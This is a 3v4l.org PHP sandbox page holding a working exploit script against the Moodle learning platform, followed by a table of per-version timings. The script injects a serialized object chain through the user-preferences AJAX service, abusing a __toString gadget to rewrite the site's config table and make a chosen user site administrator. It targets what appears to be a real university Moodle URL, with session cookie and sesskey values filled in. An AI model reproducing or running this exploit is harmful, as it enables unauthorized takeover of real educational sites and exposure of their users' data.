3v4l.org

run code in 300+ PHP versions simultaneously
<?php namespace gradereport_singleview\local\ui { class feedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } // creating a simple httpPost method which requires php-curl function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } // creating a simple httpGet method which requires php-curl function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy $response = curl_exec($curl); curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ //first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need $base = new gradereport_overview_external(); // now we create the feedback object which inherits the vulnerable __tostring() method from its parent $fb = new gradereport_singleview\local\ui\feedback(); //filling the feedback object with the required properties for the exploit to work $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; //setting the table which we want to alter $fb -> grade -> grade_item -> table = $table; //setting the row id of the row that we want to alter $fb -> grade -> grade_item -> id = $rowId; //setting the column with the value that we want to insert $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); //creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object $arr = array(array($base),$fb); //serializing the array $value = serialize($arr); //we'll set the course_blocks sortorder to 0 so we default to legacy user preference $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //injecting the payload $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); //getting the frontpage so the payload will activate httpGet($url.'http://moodle.najah.edu/my/index.php', $MoodleSession); } $url = 'http://moodle.najah.edu/'; //url of the Moodle site $MoodleSession = '5e69ipruqbisg7vprlcmag8606'; //your MoodleSession cookie value $sesskey = 'dR6co7FJPz'; //your sesskey $table = "config"; //table to update $rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation $column = '92558'; //column name to update, which holds the userid $value = 3; // userid to set as 'siteadmins' Probably want to make it your own update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); //reset the allversionshash config entry with a sha1 hash so the site reloads its configuration $rowId = 375; // row id of 'allversionshash' parameter update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); //reset the sortorder so we can see the front page again without the payload triggering $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); //force plugincheck so we can access admin panel httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0090.00615.28
7.3.120.0040.01814.88
7.3.110.0040.01115.08
7.3.100.0030.01014.89
7.3.90.0060.00315.00
7.3.80.0070.00714.90
7.3.70.0030.00914.96
7.3.60.0090.00614.84
7.3.50.0060.00614.91
7.3.40.0060.00314.52
7.3.30.0090.00314.83
7.3.20.0030.00616.53
7.3.10.0150.00516.50
7.3.00.0070.01216.46
7.2.250.0090.01215.22
7.2.240.0130.01015.09
7.2.230.0000.01615.15
7.2.220.0000.00915.17
7.2.210.0000.01515.38
7.2.200.0080.00415.13
7.2.190.0040.01115.21
7.2.180.0120.00314.91
7.2.170.0070.00714.89
7.2.130.0060.01217.11
7.2.120.0120.00816.56
7.2.110.0110.01116.56
7.2.100.0100.00316.50
7.2.90.0070.01216.43
7.2.80.0030.01416.54
7.2.70.0140.00616.59
7.2.60.0090.00516.81
7.2.50.0070.00716.80
7.2.40.0100.00316.63
7.2.30.0090.00316.52
7.2.20.0130.00316.88
7.2.10.0070.00716.83
7.2.00.0100.00418.19
7.1.330.0060.00615.92
7.1.320.0030.00915.61
7.1.310.0030.00715.76
7.1.300.0030.01215.82
7.1.290.0030.01015.82
7.1.280.0030.01015.75
7.1.270.0090.00615.66
7.1.260.0090.00315.91
7.1.250.0190.00615.63
7.1.200.0060.00615.79
7.1.100.0100.00317.73
7.1.70.0040.00417.28
7.1.60.0800.01733.45
7.1.50.0930.01333.18
7.1.40.1200.01032.89
7.1.30.1070.01332.66
7.1.20.1100.01732.84
7.1.10.0670.00314.89
7.1.00.0630.01014.92
7.0.200.0170.00715.05
7.0.190.0300.00714.91
7.0.180.1230.02014.51
7.0.170.1870.01714.48
7.0.160.1200.00714.33
7.0.150.0730.00714.73
7.0.140.0670.01014.66
7.0.130.0600.00715.01
7.0.120.0630.00715.04
7.0.110.0530.01014.70
7.0.100.0570.01014.60
7.0.90.0570.00714.73
7.0.80.0600.00714.75
7.0.70.1130.01014.85
7.0.60.0670.00314.62
7.0.50.0600.00714.72
7.0.40.0600.01014.73
7.0.30.0670.01014.75
7.0.20.0630.00714.67
7.0.10.0600.01014.84
7.0.00.0600.00714.68

preferences:
41.45 ms | 400 KiB | 5 Q